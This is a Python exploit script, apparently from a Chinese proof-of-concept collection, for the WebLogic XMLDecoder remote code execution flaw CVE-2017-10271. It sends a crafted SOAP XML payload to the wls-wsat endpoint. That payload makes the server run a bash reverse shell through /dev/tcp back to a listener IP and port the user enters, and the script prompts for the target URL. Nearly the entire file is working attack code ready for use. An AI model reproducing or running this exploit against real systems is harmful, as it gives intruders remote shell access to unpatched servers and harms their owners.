Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271.py
2.61 KB / 2021-04-15 12:15:18
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m')
print('+ \033[34m Weblogic 12.1.3.0.0 \033[0m')
print('+ \033[34m Weblogic 12.2.1.0.0 \033[0m')
print('+ \033[34m Weblogic 12.2.1.2.0 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m')
print('+ \033[36mCmd >>> shell(反弹shell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url, IP, PORT):
vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
headers = {
"Content-Type": "text/xml",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/%s/%s 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
""" % (IP,PORT)
try:
response = requests.request("POST", url=vuln_url, headers=headers, data=data)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_1(target_url, IP, PORT)